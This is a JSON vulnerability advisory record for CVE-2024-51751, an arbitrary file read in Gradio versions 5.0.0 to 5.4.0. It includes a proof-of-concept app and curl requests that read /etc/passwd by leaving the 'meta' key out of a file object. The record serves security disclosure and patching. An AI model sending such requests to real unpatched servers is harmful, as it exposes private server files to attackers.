{"id":"GHSA-rhm9-gp5p-5248","summary":"Gradio vulnerable to arbitrary file read with File and UploadButton components","details":"### Summary\nIf File or UploadButton components are used as a part of Gradio application to preview file content, an attacker with access to the application might abuse these components to read arbitrary files from the application server.\n\n### Details\nConsider the following application where a user can upload a file and preview its content:\n```\nimport gradio as gr\n\ndef greet(value: bytes):\n    return str(value)\n\ndemo = gr.Interface(fn=greet, inputs=gr.File(type=\"binary\"), outputs=\"textbox\")\n\nif __name__ == \"__main__\":\n    demo.launch()\n```\n\nIf we run this application and make the following request (which attempts to read the `/etc/passwd` file)\n```\ncurl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{\"data\":[{\"path\":\"/etc/passwd\",\"orig_name\":\"test.txt\",\"size\":4,\"mime_type\":\"text/plain\",\"meta\":{\"_type\":\"gradio.FileData\"}}],\"event_data\":null,\"fn_index\":0,\"trigger_id\":8,\"session_hash\":\"mnv42s5gt7\"}'\n```\n\nThen this results in the following error on the server\n\n```\ngradio.exceptions.InvalidPathError: Cannot move /etc/passwd to the gradio cache dir because it was not uploaded by a user.\n``` \n\nThis is expected. However, if we now remove the `\"meta\":{\"_type\":\"gradio.FileData\"}` from the request:\n```\ncurl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{\"data\":[{\"path\":\"/etc/passwd\",\"orig_name\":\"test.txt\",\"size\":4,\"mime_type\":\"text/plain\"}],\"event_data\":null,\"fn_index\":0,\"trigger_id\":8,\"session_hash\":\"mnv42s5gt7\"}'\n```\nThis doesn't cause an error and results in the content of /etc/passwd being shown in the response!\n\n\nThis works because Gradio relies on the `processing_utils.async_move_files_to_cache` to sanitize all incoming file paths in all inputs. This function performs the following operation\n```\n    return await client_utils.async_traverse(\n        data, _move_to_cache, client_utils.is_file_obj_with_meta\n    )\n```\nwhere `client_utils.is_file_obj_with_meta` is used as a filter which tells on which inputs to perform the `_move_to_cache` function (which also performs the allowed/disallowed check on the file path). The problem is that `client_utils.is_file_obj_with_meta` is not guaranteed to trigger for every input that contains a file path:\n\n```\ndef is_file_obj_with_meta(d) -\u003e bool:\n    \"\"\"\n    Check if the given value is a valid FileData object dictionary in newer versions of Gradio\n    where the file objects include a specific \"meta\" key, e.g.\n    {\n        \"path\": \"path/to/file\",\n        \"meta\": {\"_type: \"gradio.FileData\"}\n    }\n    \"\"\"\n    return (\n        isinstance(d, dict)\n        and \"path\" in d\n        and isinstance(d[\"path\"], str)\n        and \"meta\" in d\n        and d[\"meta\"].get(\"_type\", \"\") == \"gradio.FileData\"\n    )\n```\n\nFor example, as in the PoC, the file path won't be checked if the `meta` key is not present in the request or if `_type` is not `gradio.FileData`.\n\nThen, the path remains under control of the attacker and is used to read a file in `_process_single_file` function in `file.py` and `upload_button.py` (and possibly other places)\n\n### PoC\nAs described above, run the following Gradio app\n\n```\nimport gradio as gr\n\ndef greet(value: bytes):\n    return str(value)\n\ndemo = gr.Interface(fn=greet, inputs=gr.File(type=\"binary\"), outputs=\"textbox\")\n\nif __name__ == \"__main__\":\n    demo.launch()\n```\n\nAnd make the following request\n```\ncurl 'http://127.0.0.1:7860/gradio_api/run/predict' -H 'content-type: application/json' --data-raw '{\"data\":[{\"path\":\"/etc/passwd\",\"orig_name\":\"test.txt\",\"size\":4,\"mime_type\":\"text/plain\"}],\"event_data\":null,\"fn_index\":0,\"trigger_id\":8,\"session_hash\":\"mnv42s5gt7\"}'\n```\n\n### Impact\nArbitrary file read in specific Gradio applications that use File or UploadButton components to upload files and echo/preview the content to the user.","aliases":["CVE-2024-51751","PYSEC-2024-275"],"modified":"2026-06-05T18:00:15.209708622Z","published":"2024-11-06T16:29:57Z","database_specific":{"github_reviewed_at":"2024-11-06T16:29:57Z","nvd_published_at":"2024-11-06T20:15:05Z","cwe_ids":["CWE-200","CWE-22"],"severity":"MODERATE","github_reviewed":true},"references":[{"type":"WEB","url":"https://github.com/gradio-app/gradio/security/advisories/GHSA-rhm9-gp5p-5248"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-51751"},{"type":"PACKAGE","url":"https://github.com/gradio-app/gradio"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gradio/PYSEC-2024-275.yaml"}],"affected":[{"package":{"name":"gradio","ecosystem":"PyPI","purl":"pkg:pypi/gradio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.0"},{"fixed":"5.5.0"}]}],"versions":["5.0.0","5.0.1","5.0.2","5.1.0","5.3.0","5.4.0"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2024/11/GHSA-rhm9-gp5p-5248/GHSA-rhm9-gp5p-5248.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P"}]}